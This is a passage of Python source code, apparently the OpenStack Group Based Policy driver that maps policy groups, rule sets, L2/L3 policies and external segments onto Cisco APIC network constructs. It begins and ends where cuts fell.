gpexc.GroupPolicyBadRequest):\n message = _(\"An L2 policy can't have multiple policy target groups on \"\n \"APIC GBP driver.\")\n\n\nclass RedirectActionNotSupportedOnApicDriver(gpexc.GroupPolicyBadRequest):\n message = _(\"Redirect action is currently not supported for APIC GBP \"\n \"driver.\")\n\n\nclass PolicyRuleUpdateNotSupportedOnApicDriver(gpexc.GroupPolicyBadRequest):\n message = _(\"Policy rule update is not supported on APIC GBP\"\n \"driver.\")\n\n\nclass ExactlyOneActionPerRuleIsSupportedOnApicDriver(\n gpexc.GroupPolicyBadRequest):\n message = _(\"Exactly one action per rule is supported on APIC GBP driver.\")\n\n\nclass OnlyOneL3PolicyIsAllowedPerExternalSegment(gpexc.GroupPolicyBadRequest):\n message = _(\"Only one L3 Policy per ES is supported on APIC GBP driver.\")\n\n\nclass OnlyOneAddressIsAllowedPerExternalSegment(gpexc.GroupPolicyBadRequest):\n message = _(\"Only one ip address on each ES is supported on \"\n \"APIC GBP driver.\")\n\n\nclass NoAddressConfiguredOnExternalSegment(gpexc.GroupPolicyBadRequest):\n message = _(\"L3 Policy %(l3p_id)s has no address configured on \"\n \"External Segment %(es_id)s\")\n\n\nclass PATNotSupportedByApicDriver(gpexc.GroupPolicyBadRequest):\n message = _(\"Port address translation is not supported by APIC driver.\")\n\n\nclass SharedAttributeUpdateNotSupportedOnApic(gpexc.GroupPolicyBadRequest):\n message = _(\"Resource shared attribute update not supported on APIC \"\n \"GBP driver for resource of type %(type)s\")\n\n\nclass ApicMappingDriver(api.ResourceMappingDriver):\n \"\"\"Apic Mapping driver for Group Policy plugin.\n\n This driver implements group policy semantics by mapping group\n policy resources to various other neutron resources, and leverages\n Cisco APIC's backend for enforcing the policies.\n \"\"\"\n\n me = None\n manager = None\n\n @staticmethod\n def get_apic_manager(client=True):\n if not ApicMappingDriver.manager:\n apic_config = cfg.CONF.ml2_cisco_apic\n network_config = {\n 'vlan_ranges': cfg.CONF.ml2_type_vlan.network_vlan_ranges,\n 'switch_dict': config.create_switch_dictionary(),\n 'vpc_dict': config.create_vpc_dictionary(),\n 'external_network_dict':\n config.create_external_network_dictionary(),\n }\n apic_system_id = cfg.CONF.apic_system_id\n keyclient_param = keyclient if client else None\n keystone_authtoken = (cfg.CONF.keystone_authtoken if client else\n None)\n ApicMappingDriver.manager = apic_manager.APICManager(\n apic_model.ApicDbModel(), logging, network_config, apic_config,\n keyclient_param, keystone_authtoken, apic_system_id)\n ApicMappingDriver.manager.ensure_infra_created_on_apic()\n ApicMappingDriver.manager.ensure_bgp_pod_policy_created_on_apic()\n return ApicMappingDriver.manager\n\n def initialize(self):\n super(ApicMappingDriver, self).initialize()\n self.apic_manager = ApicMappingDriver.get_apic_manager()\n self.name_mapper = self.apic_manager.apic_mapper\n self._gbp_plugin = None\n\n @property\n def gbp_plugin(self):\n if not self._gbp_plugin:\n self._gbp_plugin = (manager.NeutronManager.get_service_plugins()\n .get(\"GROUP_POLICY\"))\n return self._gbp_plugin\n\n def get_gbp_details(self, context, **kwargs):\n port_id = (kwargs.get('port_id') or\n self._core_plugin._device_to_port_id(kwargs['device']))\n port = self._core_plugin.get_port(context, port_id)\n # retrieve PTG and network from a given Port\n if not kwargs.get('policy_target'):\n ptg, network = self._port_to_ptg_network(context, port,\n kwargs['host'])\n if not ptg:\n return\n else:\n pt = kwargs['policy_target']\n ptg = self.gbp_plugin.get_policy_target_group(\n context, pt['policy_target_group_id'])\n network = self._l2p_id_to_network(context, ptg['l2_policy_id'])\n\n return {'port_id': port_id,\n 'mac_address': port['mac_address'],\n 'ptg_id': ptg['id'],\n 'segmentation_id': network[pn.SEGMENTATION_ID],\n 'network_type': network[pn.NETWORK_TYPE],\n 'l2_policy_id': ptg['l2_policy_id'],\n 'tenant_id': port['tenant_id'],\n 'host': port['binding:host_id'],\n 'ptg_apic_tentant': (ptg['tenant_id'] if not ptg['shared'] else\n apic_manager.TENANT_COMMON)\n }\n\n def create_dhcp_policy_target_if_needed(self, plugin_context, port):\n session = plugin_context.session\n if (self._port_is_owned(session, port['id'])):\n # Nothing to do\n return\n # Retrieve PTG\n fixed_ips = port['fixed_ips']\n if fixed_ips:\n port_subnet_id = fixed_ips[0]['subnet_id']\n ptg = self._get_ptg_by_subnet(plugin_context, port_subnet_id)\n if ptg:\n # Create PolicyTarget\n attrs = {'policy_target':\n {'tenant_id': port['tenant_id'],\n 'name': 'dhcp-%s' % ptg['id'],\n 'description': _(\"Implicitly created DHCP policy \"\n \"target\"),\n 'policy_target_group_id': ptg['id'],\n 'port_id': port['id']}}\n self.gbp_plugin.create_policy_target(plugin_context, attrs)\n sg_id = self._get_default_security_group(plugin_context,\n ptg['id'],\n port['tenant_id'])\n data = {'port': {'security_groups': [sg_id]}}\n self._core_plugin.update_port(plugin_context, port['id'], data)\n\n def create_policy_action_precommit(self, context):\n # TODO(ivar): allow redirect for service chaining\n if context.current['action_type'] == g_const.GP_ACTION_REDIRECT:\n raise RedirectActionNotSupportedOnApicDriver()\n\n def create_policy_rule_precommit(self, context):\n if ('policy_actions' in context.current and\n len(context.current['policy_actions']) != 1):\n # TODO(ivar): to be fixed when redirect is supported\n raise ExactlyOneActionPerRuleIsSupportedOnApicDriver()\n\n def create_policy_rule_postcommit(self, context):\n action = context._plugin.get_policy_action(\n context._plugin_context, context.current['policy_actions'][0])\n classifier = context._plugin.get_policy_classifier(\n context._plugin_context,\n context.current['policy_classifier_id'])\n if action['action_type'] == g_const.GP_ACTION_ALLOW:\n port_min, port_max = (\n gpdb.GroupPolicyMappingDbPlugin._get_min_max_ports_from_range(\n classifier['port_range']))\n attrs = {'etherT': 'ip',\n 'prot': classifier['protocol'].lower()}\n if port_min and port_max:\n attrs['dToPort'] = port_max\n attrs['dFromPort'] = port_min\n tenant = self._tenant_by_sharing_policy(context.current)\n policy_rule = self.name_mapper.policy_rule(context,\n context.current['id'])\n self.apic_manager.create_tenant_filter(policy_rule, owner=tenant,\n **attrs)\n\n def create_policy_rule_set_precommit(self, context):\n pass\n\n def create_policy_rule_set_postcommit(self, context):\n # Create APIC policy_rule_set\n tenant = self._tenant_by_sharing_policy(context.current)\n contract = self.name_mapper.policy_rule_set(context,\n context.current['id'])\n with self.apic_manager.apic.transaction(None) as trs:\n self.apic_manager.create_contract(\n contract, owner=tenant, transaction=trs)\n rules = self.gbp_plugin.get_policy_rules(\n context._plugin_context,\n {'id': context.current['policy_rules']})\n self._apply_policy_rule_set_rules(\n context, context.current, rules, transaction=trs)\n\n def create_policy_target_postcommit(self, context):\n # The path needs to be created at bind time, this will be taken\n # care by the GBP ML2 apic driver.\n super(ApicMappingDriver, self).create_policy_target_postcommit(context)\n self._manage_policy_target_port(\n context._plugin_context, context.current)\n\n def create_policy_target_group_precommit(self, context):\n pass\n\n def create_policy_target_group_postcommit(self, context):\n super(ApicMappingDriver, self).create_policy_target_group_postcommit(\n context)\n tenant = self._tenant_by_sharing_policy(context.current)\n l2_policy = self.name_mapper.l2_policy(context,\n context.current['l2_policy_id'])\n epg = self.name_mapper.policy_target_group(context,\n context.current['id'])\n l2_policy_object = context._plugin.get_l2_policy(\n context._plugin_context, context.current['l2_policy_id'])\n bd_owner = self._tenant_by_sharing_policy(l2_policy_object)\n with self.apic_manager.apic.transaction(None) as trs:\n self.apic_manager.ensure_epg_created(tenant, epg,\n bd_owner=bd_owner,\n bd_name=l2_policy)\n subnets = self._subnet_ids_to_objects(context._plugin_context,\n context.current['subnets'])\n self._manage_ptg_subnets(context._plugin_context, context.current,\n subnets, [], transaction=trs)\n self._manage_ptg_policy_rule_sets(\n context._plugin_context, context.current,\n context.current['provided_policy_rule_sets'],\n context.current['consumed_policy_rule_sets'], [], [],\n transaction=trs)\n self._update_default_security_group(\n context._plugin_context, context.current['id'],\n context.current['tenant_id'], context.current['subnets'])\n\n def create_l2_policy_precommit(self, context):\n self._reject_non_shared_net_on_shared_l2p(context)\n\n def update_l2_policy_precommit(self, context):\n self._reject_non_shared_net_on_shared_l2p(context)\n self._reject_shared_update(context, 'l2_policy')\n\n def create_l2_policy_postcommit(self, context):\n super(ApicMappingDriver, self).create_l2_policy_postcommit(context)\n tenant = self._tenant_by_sharing_policy(context.current)\n l3_policy = self.name_mapper.l3_policy(context,\n context.current['l3_policy_id'])\n l2_policy = self.name_mapper.l2_policy(context, context.current['id'])\n l3_policy_object = context._plugin.get_l3_policy(\n context._plugin_context, context.current['l3_policy_id'])\n ctx_owner = self._tenant_by_sharing_policy(l3_policy_object)\n self.apic_manager.ensure_bd_created_on_apic(tenant, l2_policy,\n ctx_owner=ctx_owner,\n ctx_name=l3_policy)\n\n def create_l3_policy_precommit(self, context):\n self._check_l3p_es(context)\n\n def create_l3_policy_postcommit(self, context):\n tenant = self._tenant_by_sharing_policy(context.current)\n l3_policy = self.name_mapper.l3_policy(context, context.current['id'])\n self.apic_manager.ensure_context_enforced(tenant, l3_policy)\n external_segments = context.current['external_segments']\n if external_segments:\n # Create a L3 ext for each External Segment\n ess = context._plugin.get_external_segments(\n context._plugin_context,\n filters={'id': external_segments.keys()})\n for es in ess:\n self._plug_l3p_to_es(context, es)\n\n def delete_policy_rule_postcommit(self, context):\n # TODO(ivar): delete Contract subject entries to avoid reference leak\n tenant = self._tenant_by_sharing_policy(context.current)\n policy_rule = self.name_mapper.policy_rule(context,\n context.current['id'])\n self.apic_manager.delete_tenant_filter(policy_rule, owner=tenant)\n\n def delete_policy_rule_set_precommit(self, context):\n # Intercept Parent Call\n pass\n\n def delete_policy_rule_set_postcommit(self, context):\n # TODO(ivar): disassociate PTGs to avoid reference leak\n tenant = self._tenant_by_sharing_policy(context.current)\n contract = self.name_mapper.policy_rule_set(context,\n context.current['id'])\n self.apic_manager.delete_contract(contract, owner=tenant)\n\n def delete_policy_target_postcommit(self, context):\n try:\n port = self._core_plugin.get_port(context._plugin_context,\n context.current['port_id'])\n except n_exc.PortNotFound:\n LOG.warn(_(\"Port %s is missing\") % context.current['port_id'])\n return\n\n if port['binding:host_id']:\n self.process_path_deletion(context._plugin_context, port,\n policy_target=context.current)\n # Delete Neutron's port\n super(ApicMappingDriver, self).delete_policy_target_postcommit(context)\n\n def delete_policy_target_group_postcommit(self, context):\n if context.current['subnets']:\n subnets = self._subnet_ids_to_objects(context._plugin_context,\n context.current['subnets'])\n self._manage_ptg_subnets(context._plugin_context, context.current,\n [], subnets)\n for subnet_id in context.current['subnets']:\n self._cleanup_subnet(context._plugin_context, subnet_id, None)\n tenant = self._tenant_by_sharing_policy(context.current)\n ptg = self.name_mapper.policy_target_group(context,\n context.current['id'])\n\n self.apic_manager.delete_epg_for_network(tenant, ptg)\n\n def delete_l2_policy_postcommit(self, context):\n super(ApicMappingDriver, self).delete_l2_policy_postcommit(context)\n tenant = self._tenant_by_sharing_policy(context.current)\n l2_policy = self.name_mapper.l2_policy(context, context.current['id'])\n\n self.apic_manager.delete_bd_on_apic(tenant, l2_policy)\n\n def delete_l3_policy_postcommit(self, context):\n tenant = self._tenant_by_sharing_policy(context.current)\n l3_policy = self.name_mapper.l3_policy(context, context.current['id'])\n\n self.apic_manager.ensure_context_deleted(tenant, l3_policy)\n external_segments = context.current['external_segments']\n if external_segments:\n # Create a L3 ext for each External Segment\n ess = context._plugin.get_external_segments(\n context._plugin_context,\n filters={'id': external_segments.keys()})\n for es in ess:\n self._unplug_l3p_from_es(context, es)\n\n def update_policy_rule_set_precommit(self, context):\n self._reject_shared_update(context, 'policy_rule_set')\n\n def update_policy_target_postcommit(self, context):\n # TODO(ivar): redo binding procedure if the PTG is modified,\n # not doable unless driver extension framework is in place\n pass\n\n def update_policy_rule_precommit(self, context):\n # TODO(ivar): add support for action update on policy rules\n raise PolicyRuleUpdateNotSupportedOnApicDriver()\n\n def update_policy_target_group_precommit(self, context):\n if set(context.original['subnets']) - set(context.current['subnets']):\n raise gpexc.PolicyTargetGroupSubnetRemovalNotSupported()\n self._reject_shared_update(context, 'policy_target_group')\n\n def update_policy_target_group_postcommit(self, context):\n # TODO(ivar): refactor parent to avoid code duplication\n orig_provided_policy_rule_sets = context.original[\n 'provided_policy_rule_sets']\n curr_provided_policy_rule_sets = context.current[\n 'provided_policy_rule_sets']\n orig_consumed_policy_rule_sets = context.original[\n 'consumed_policy_rule_sets']\n curr_consumed_policy_rule_sets = context.current[\n 'consumed_policy_rule_sets']\n\n new_provided_policy_rule_sets = list(\n set(curr_provided_policy_rule_sets) - set(\n orig_provided_policy_rule_sets))\n new_consumed_policy_rule_sets = list(\n set(curr_consumed_policy_rule_sets) - set(\n orig_consumed_policy_rule_sets))\n removed_provided_policy_rule_sets = list(\n set(orig_provided_policy_rule_sets) - set(\n curr_provided_policy_rule_sets))\n removed_consumed_policy_rule_sets = list(\n set(orig_consumed_policy_rule_sets) - set(\n curr_consumed_policy_rule_sets))\n\n orig_subnets = context.original['subnets']\n curr_subnets = context.current['subnets']\n new_subnets = list(set(curr_subnets) - set(orig_subnets))\n removed_subnets = list(set(orig_subnets) - set(curr_subnets))\n\n with self.apic_manager.apic.transaction(None) as trs:\n self._manage_ptg_policy_rule_sets(\n context._plugin_context, context.current,\n new_provided_policy_rule_sets, new_consumed_policy_rule_sets,\n removed_provided_policy_rule_sets,\n removed_consumed_policy_rule_sets, transaction=trs)\n\n new_subnets = self._subnet_ids_to_objects(\n context._plugin_context, new_subnets)\n removed_subnets = self._subnet_ids_to_objects(\n context._plugin_context, removed_subnets)\n\n self._manage_ptg_subnets(context._plugin_context, context.current,\n new_subnets, removed_subnets)\n self._update_default_security_group(\n context._plugin_context, context.current['id'],\n context.current['tenant_id'], subnets=new_subnets)\n\n def update_l3_policy_precommit(self, context):\n self._reject_shared_update(context, 'l3_policy')\n self._check_l3p_es(context)\n\n def update_l3_policy_postcommit(self, context):\n old_segment_dict = context.original['external_segments']\n new_segment_dict = context.current['external_segments']\n if (context.current['external_segments'] !=\n context.original['external_segments']):\n new_segments = set(new_segment_dict.keys())\n old_segments = set(old_segment_dict.keys())\n added = new_segments - old_segments\n removed = old_segments - new_segments\n # Modified ES are treated like new ones\n modified = set(x for x in (new_segments - added) if\n (set(old_segment_dict[x]) != set(new_segment_dict[x])))\n added |= modified\n # The following operations could be intra-tenant, can't be executed\n # in a single transaction\n if added:\n # Create a L3 ext for each External Segment\n added_ess = context._plugin.get_external_segments(\n context._plugin_context, filters={'id': added})\n for es in added_ess:\n self._plug_l3p_to_es(context, es)\n if removed:\n removed_ess = context._plugin.get_external_segments(\n context._plugin_context, filters={'id': removed})\n for es in removed_ess:\n self._unplug_l3p_from_es(context, es)\n\n def create_external_segment_precommit(self, context):\n if context.current['port_address_translation']:\n raise PATNotSupportedByApicDriver()\n ext_info = self.apic_manager.ext_net_dict.get(\n context.current['name'])\n if ext_info and ext_info.get('cidr_exposed'):\n db_es = context._plugin._get_external_segment(\n context._plugin_context, context.current['id'])\n net = netaddr.IPNetwork(ext_info.get('cidr_exposed'))\n db_es.cidr = str(net)\n db_es.ip_version = net[0].version\n context.current['cidr'] = db_es.cidr\n context.current['ip_version'] = db_es.ip_version\n else:\n LOG.warn(_(\"External Segment %s is not managed by APIC mapping \"\n \"driver.\") % context.current['id'])\n\n def create_external_segment_postcommit(self, context):\n external_info = self.apic_manager.ext_net_dict.get(\n context.current['name'])\n if not external_info:\n LOG.warn(_(\"External Segment %s is not managed by APIC mapping \"\n \"driver.\") % context.current['id'])\n\n def update_external_segment_precommit(self, context):\n if context.current['port_address_translation']:\n raise PATNotSupportedByApicDriver()\n\n def update_external_segment_postcommit(self, context):\n ext_info = self.apic_manager.ext_net_dict.get(\n context.current['name'])\n if not ext_info:\n LOG.warn(_(\"External Segment %s is not managed by APIC mapping \"\n \"driver.\") % context.current['id'])\n return\n if (context.current['external_routes'] !=\n context.original['external_routes']):\n new_routes_dict = self._build_routes_dict(\n context.current['external_routes'])\n new_routes = set((x['destination'], x['nexthop'])\n for x in context.current['external_routes'])\n old_routes = set((x['destination'], x['nexthop'])\n for x in context.original['external_routes'])\n added = new_routes - old_routes\n removed = old_routes - new_routes\n switch = ext_info['switch']\n default_gateway = ext_info['gateway_ip']\n es_name = self.name_mapper.external_segment(\n context, context.current['id'])\n es_tenant = self._tenant_by_sharing_policy(context.current)\n ep_names = [self.name_mapper.external_policy(context, x)\n for x in context.current['external_policies']]\n\n nexthop = lambda h: h if h else default_gateway\n with self.apic_manager.apic.transaction() as trs:\n for route in removed:\n if route[0] not in new_routes_dict:\n # Remove Route completely\n self.apic_manager.ensure_static_route_deleted(\n es_name, switch, route[0], owner=es_tenant,\n transaction=trs)\n # Also from External EPG\n del_epg = (self.apic_manager.\n ensure_external_epg_routes_deleted)\n for ep in ep_names:\n del_epg(\n es_name, external_epg=ep, owner=es_tenant,\n subnets=[route[0]], transaction=trs)\n else:\n # Only remove nexthop\n self.apic_manager.ensure_next_hop_deleted(\n es_name, switch, route[0], nexthop(route[1]),\n owner=es_tenant, transaction=trs)\n for route in added:\n # Create Static Route on External Routed Network\n self.apic_manager.ensure_static_route_created(\n es_name, switch, nexthop(route[1]),\n owner=es_tenant, subnet=route[0], transaction=trs)\n # And on the External EPGs\n for ep in ep_names:\n self.apic_manager.ensure_external_epg_created(\n es_name, subnet=route[0], external_epg=ep,\n owner=es_tenant, transaction=trs)\n\n def delete_external_segment_precommit(self, context):\n pass\n\n def delete_external_segment_postcommit(self, context):\n # If not in use, there's no representation of it in the APIC\n pass\n\n def create_external_policy_precommit(self, context):\n pass\n\n def create_external_policy_postcommit(self, context):\n segments = context.current['external_segments']\n provided_prs = context.current['provided_policy_rule_sets']\n consumed_prs = context.current['consumed_policy_rule_sets']\n self._plug_externa_policy_to_segment(\n context, context.current, segments, provided_prs, consumed_prs)\n\n def update_external_policy_precommit(self, context):\n pass\n\n def update_external_policy_postcommit(self, context):\n added_segments = (set(context.current['external_segments']) -\n set(context.original['external_segments']))\n removed_segments = (set(context.original['external_segments']) -\n set(context.current['external_segments']))\n # Remove segments\n self._unplug_external_policy_from_segment(\n context, context.current, removed_segments)\n # Add new segments\n provided_prs = context.current['provided_policy_rule_sets']\n consumed_prs = context.current['consumed_policy_rule_sets']\n self._plug_externa_policy_to_segment(\n context, context.current, added_segments, provided_prs,\n consumed_prs)\n # Manage updated PRSs\n added_p_prs = (set(context.current['provided_policy_rule_sets']) -\n set(context.original['provided_policy_rule_sets']))\n removed_p_prs = (set(context.original['provided_policy_rule_sets']) -\n set(context.current['provided_policy_rule_sets']))\n added_c_prs = (set(context.current['consumed_policy_rule_sets']) -\n set(context.original['consumed_policy_rule_sets']))\n removed_c_prs = (set(context.original['consumed_policy_rule_sets']) -\n set(context.current['consumed_policy_rule_sets']))\n # Avoid duplicating requests\n delta_segments = [x for x in context.current['external_segments']\n if x not in added_segments]\n new_ess = context._plugin.get_external_segments(\n context._plugin_context,\n filters={'id': delta_segments})\n for es in new_ess:\n self._manage_ep_policy_rule_sets(\n context._plugin_context, es, context.current, added_p_prs,\n added_c_prs, removed_p_prs, removed_c_prs)\n\n def delete_external_policy_precommit(self, context):\n pass\n\n def delete_external_policy_postcommit(self, context):\n external_segments = context.current['external_segments']\n self._unplug_external_policy_from_segment(\n context, context.current, external_segments)\n\n def process_subnet_changed(self, context, old, new):\n if old['gateway_ip'] != new['gateway_ip']:\n ptg = self._subnet_to_ptg(context, new['id'])\n if ptg:\n # Is GBP owned, reflect on APIC\n self._manage_ptg_subnets(context, ptg, [new], [old])\n\n def process_port_changed(self, context, old, new):\n # Port's EP can't change unless EP is deleted/created, therefore the\n # binding will mostly be the same except for the host\n if old['binding:host_id'] != new['binding:host_id']:\n pt = self._port_id_to_pt(context, new['id'])\n if pt:\n if old['binding:host_id']:\n self.process_path_deletion(context, old)\n self._manage_policy_target_port(context, pt)\n\n def process_path_deletion(self, context, port, policy_target=None):\n port_details = self.get_gbp_details(\n context, port_id=port['id'], host=port['binding:host_id'],\n policy_target=policy_target)\n self._delete_path_if_last(context, port_details)\n\n def _apply_policy_rule_set_rules(\n self, context, policy_rule_set, policy_rules, transaction=None):\n # TODO(ivar): refactor parent to avoid code duplication\n if policy_rule_set['parent_id']:\n parent = context._plugin.get_policy_rule_set(\n context._plugin_context, policy_rule_set['parent_id'])\n policy_rules = policy_rules & set(parent['policy_rules'])\n # Don't add rules unallowed by the parent\n self._manage_policy_rule_set_rules(\n context, policy_rule_set, policy_rules, transaction=transaction)\n\n def _remove_policy_rule_set_rules(\n self, context, policy_rule_set, policy_rules, transaction=None):\n self._manage_policy_rule_set_rules(\n context, policy_rule_set, policy_rules, unset=True,\n transaction=transaction)\n\n def _manage_policy_rule_set_rules(\n self, context, policy_rule_set, policy_rules, unset=False,\n transaction=None):\n # REVISIT(ivar): figure out what should be moved in apicapi instead\n if policy_rules:\n tenant = self._tenant_by_sharing_policy(policy_rule_set)\n contract = self.name_mapper.policy_rule_set(context,\n context.current['id'])\n in_dir = [g_const.GP_DIRECTION_BI, g_const.GP_DIRECTION_IN]\n out_dir = [g_const.GP_DIRECTION_BI, g_const.GP_DIRECTION_OUT]\n for rule in policy_rules:\n policy_rule = self.name_mapper.policy_rule(context, rule['id'])\n rule_owner = self._tenant_by_sharing_policy(rule)\n classifier = context._plugin.get_policy_classifier(\n context._plugin_context, rule['policy_classifier_id'])\n with self.apic_manager.apic.transaction(transaction) as trs:\n if classifier['direction'] in in_dir:\n # PRS and subject are the same thing in this case\n self.apic_manager.manage_contract_subject_in_filter(\n contract, contract, policy_rule, owner=tenant,\n transaction=trs, unset=unset,\n rule_owner=rule_owner)\n if classifier['direction'] in out_dir:\n # PRS and subject are the same thing in this case\n self.apic_manager.manage_contract_subject_out_filter(\n contract, contract, policy_rule, owner=tenant,\n transaction=trs, unset=unset,\n rule_owner=rule_owner)\n\n @lockutils.synchronized('apic-portlock')\n def _manage_policy_target_port(self, plugin_context, pt):\n port = self._core_plugin.get_port(plugin_context, pt['port_id'])\n if port.get('binding:host_id'):\n port_details = self.get_gbp_details(\n plugin_context, port_id=port['id'],\n host=port['binding:host_id'])\n if port_details:\n # TODO(ivar): change APICAPI to not expect a resource context\n plugin_context._plugin = self.gbp_plugin\n plugin_context._plugin_context = plugin_context\n ptg_object = self.gbp_plugin.get_policy_target_group(\n plugin_context, port_details['ptg_id'])\n tenant_id = self._tenant_by_sharing_policy(ptg_object)\n epg = self.name_mapper.policy_target_group(\n plugin_context, port_details['ptg_id'])\n bd = self.name_mapper.l2_policy(\n plugin_context, port_details['l2_policy_id'])\n seg = port_details['segmentation_id']\n # Create a static path attachment for the host/epg/switchport\n with self.apic_manager.apic.transaction() as trs:\n self.apic_manager.ensure_path_created_for_port(\n tenant_id, epg, port['binding:host_id'], seg,\n bd_name=bd,\n transaction=trs)\n\n def _manage_ptg_policy_rule_sets(\n self, plugin_context, ptg, added_provided, added_consumed,\n removed_provided, removed_consumed, transaction=None):\n # TODO(ivar): change APICAPI to not expect a resource context\n plugin_context._plugin = self.gbp_plugin\n plugin_context._plugin_context = plugin_context\n mapped_tenant = self._tenant_by_sharing_policy(ptg)\n mapped_ptg = self.name_mapper.policy_target_group(plugin_context,\n ptg['id'])\n provided = [added_provided, removed_provided]\n consumed = [added_consumed, removed_consumed]\n methods = [self.apic_manager.set_contract_for_epg,\n self.apic_manager.unset_contract_for_epg]\n with self.apic_manager.apic.transaction(transaction) as trs:\n for x in xrange(len(provided)):\n for c in self.gbp_plugin.get_policy_rule_sets(\n plugin_context, filters={'id': provided[x]}):\n c_owner = self._tenant_by_sharing_policy(c)\n c = self.name_mapper.policy_rule_set(plugin_context,\n c['id'])\n methods[x](mapped_tenant, mapped_ptg, c, provider=True,\n contract_owner=c_owner, transaction=trs)\n for x in xrange(len(consumed)):\n for c in self.gbp_plugin.get_policy_rule_sets(\n plugin_context, filters={'id': consumed[x]}):\n c_owner = self._tenant_by_sharing_policy(c)\n c = self.name_mapper.policy_rule_set(plugin_context,\n c['id'])\n methods[x](mapped_tenant, mapped_ptg, c, provider=False,\n contract_owner=c_owner, transaction=trs)\n\n def _manage_ep_policy_rule_sets(\n self, plugin_context, es, ep, added_provided, added_consumed,\n removed_provided, removed_consumed, transaction=None):\n plugin_context._plugin = self.gbp_plugin\n plugin_context._plugin_context = plugin_context\n mapped_tenant = self._tenant_by_sharing_policy(es)\n mapped_es = self.name_mapper.external_segment(plugin_context, es['id'])\n\n mapped_ep = self.name_mapper.external_policy(plugin_context,\n ep['id'])\n provided = [added_provided, removed_provided]\n consumed = [added_consumed, removed_consumed]\n methods = [self.apic_manager.set_contract_for_external_epg,\n self.apic_manager.unset_contract_for_external_epg]\n with self.apic_manager.apic.transaction(transaction) as trs:\n for x in xrange(len(provided)):\n for c in provided[x]:\n c = self.name_mapper.policy_rule_set(plugin_context, c)\n methods[x](mapped_es, c, external_epg=mapped_ep,\n owner=mapped_tenant, provided=True,\n transaction=trs)\n for x in xrange(len(consumed)):\n for c in consumed[x]:\n c = self.name_mapper.policy_rule_set(plugin_context, c)\n methods[x](mapped_es, c, external_epg=mapped_ep,\n owner=mapped_tenant, provided=False,\n transaction=trs)\n\n def _manage_ptg_subnets(self, plugin_context, ptg, added_subnets,\n removed_subnets, transaction=None):\n # TODO(ivar): change APICAPI to not expect a resource context\n plugin_context._plugin = self.gbp_plugin\n plugin_context._plugin_context = plugin_context\n l2_policy_object = self.gbp_plugin.get_l2_policy(\n plugin_context, ptg['l2_policy_id'])\n mapped_tenant = self._tenant_by_sharing_policy(l2_policy_object)\n mapped_l2p = self.name_mapper.l2_policy(plugin_context,\n ptg['l2_policy_id'])\n subnets = [added_subnets, removed_subnets]\n methods = [self.apic_manager.ensure_subnet_created_on_apic,\n self.apic_manager.ensure_subnet_deleted_on_apic]\n with self.apic_manager.apic.transaction(transaction) as trs:\n for x in xrange(len(subnets)):\n for s in subnets[x]:\n methods[x](mapped_tenant, mapped_l2p, self._gateway_ip(s),\n transaction=trs)\n\n def _get_active_path_count(self, plugin_context, port_info):\n return (plugin_context.session.query(models.PortBindingLevel).\n join(models.NetworkSegment).\n filter(models.PortBindingLevel.host == port_info['host']).\n filter(models.NetworkSegment.segmentation_id == port_info[\n 'segmentation_id']).\n filter(models.PortBindingLevel.port_id != port_info['port_id']).\n count())\n\n @lockutils.synchronized('apic-portlock')\n def _delete_port_path(self, context, atenant_id, ptg, port_info):\n if not self._get_active_path_count(context, port_info):\n self.apic_manager.ensure_path_deleted_for_port(\n atenant_id, ptg, port_info['host'])\n\n def _delete_path_if_last(self, context, port_info):\n if not self._get_active_path_count(context, port_info):\n # TODO(ivar): change APICAPI to not expect a resource context\n context._plugin = self.gbp_plugin\n context._plugin_context = context\n ptg_object = self.gbp_plugin.get_policy_target_group(\n context, port_info['ptg_id'])\n atenant_id = self._tenant_by_sharing_policy(ptg_object)\n epg = self.name_mapper.policy_target_group(context,\n port_info['ptg_id'])\n self._delete_port_path(context, atenant_id, epg, port_info)\n\n def _get_default_security_group(self, context, ptg_id, tenant_id):\n # Default SG in APIC mapping is per tenant, and allows all the traffic\n # since the contracts will be enforced by ACI and not via SG\n filters = {'name': ['gbp_apic_default'], 'tenant_id': [tenant_id]}\n default_group = self._core_plugin.get_security_groups(\n context, filters)\n if not default_group:\n attrs = {'name': 'gbp_apic_default', 'tenant_id': tenant_id,\n 'description': 'default apic sg'}\n ret = self._create_sg(context, attrs)\n for ethertype in ext_sg.sg_supported_ethertypes:\n for direction in ['ingress', 'egress']:\n self._sg_rule(context, tenant_id, ret['id'], direction,\n ethertype=ethertype)\n return ret['id']\n else:\n return default_group[0]['id']\n\n def _update_default_security_group(self, plugin_context, ptg_id,\n tenant_id, subnets=None):\n pass\n\n def _assoc_ptg_sg_to_pt(self, context, pt_id, ptg_id):\n pass\n\n def _handle_policy_rule_sets(self, context):\n pass\n\n def _gateway_ip(self, subnet):\n cidr = netaddr.IPNetwork(subnet['cidr'])\n return '%s/%s' % (subnet['gateway_ip'], str(cidr.prefixlen))\n\n def _subnet_ids_to_objects(self, plugin_context, ids):\n return self._core_plugin.get_subnets(plugin_context,\n filters={'id': ids})\n\n def _port_to_ptg_network(self, context, port, host=None):\n ptg = self._port_id_to_ptg(context, port['id'])\n if not ptg:\n # Not GBP port\n return None, None\n network = self._l2p_id_to_network(context, ptg['l2_policy_id'])\n return ptg, network\n\n def _port_id_to_pt(self, context, port_id):\n pt = (context.session.query(gpdb.PolicyTargetMapping).\n filter_by(port_id=port_id).first())\n if pt:\n db_utils = gpdb.GroupPolicyMappingDbPlugin()\n return db_utils._make_policy_target_dict(pt)\n\n def _port_id_to_ptg(self, context, port_id):\n pt = self._port_id_to_pt(context, port_id)\n if pt:\n return self.gbp_plugin.get_policy_target_group(\n context, pt['policy_target_group_id'])\n return\n\n def _l2p_id_to_network(self, context, l2p_id):\n l2_policy = self.gbp_plugin.get_l2_policy(context, l2p_id)\n return self._core_plugin.get_network(context, l2_policy['network_id'])\n\n def _network_id_to_l2p(self, context, network_id):\n l2ps = self.gbp_plugin.get_l2_policies(\n context, filters={'network_id': [network_id]})\n return l2ps[0] if l2ps else None\n\n def _subnet_to_ptg(self, context, subnet_id):\n ptg = (context.session.query(gpdb.PolicyTargetGroupMapping).\n join(gpdb.PolicyTargetGroupMapping.subnets).\n filter(gpdb.PTGToSubnetAssociation.subnet_id ==\n subnet_id).\n first())\n if ptg:\n db_utils = gpdb.GroupPolicyMappingDbPlugin()\n return db_utils._make_policy_target_group_dict(ptg)\n\n def _plug_l3p_to_es(self, context, external_segment):\n l3_policy = self.name_mapper.l3_policy(context, context.current['id'])\n es = external_segment\n external_segments = context.current['external_segments']\n ext_info = self.apic_manager.ext_net_dict.get(es['name'])\n if not ext_info:\n LOG.warn(\n _(\"External Segment %s is not managed by APIC mapping \"\n \"driver.\") 